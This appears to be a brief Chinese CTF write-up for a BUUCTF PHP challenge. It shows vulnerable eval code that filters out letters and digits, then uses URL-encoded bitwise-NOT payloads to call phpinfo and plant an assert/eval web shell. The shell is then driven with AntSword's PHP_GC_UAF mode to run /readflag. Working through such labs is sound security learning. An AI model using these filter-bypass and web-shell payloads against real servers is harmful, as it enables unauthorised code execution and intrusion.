<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
接收code,过滤了长度大于40的,过滤了字母数字
url编码绕过
phpinfo
(~%8F%97%8F%96%91%99%90)();
http://4e9fc55c-aaab-41a3-bf62-be69923517cb.node3.buuoj.cn/?code=(~%8F%97%8F%96%91%99%90)();
同过get上传木马
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
//%9E%8C%8C%9A%8D%8B
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
//%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6
?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
之后连接木马
这里是要执行readflag然后才能读取flag
用蚁剑的
选择PHP_GC_UAF模式
进入到一个虚拟shell模式,输入/readflag,得到flag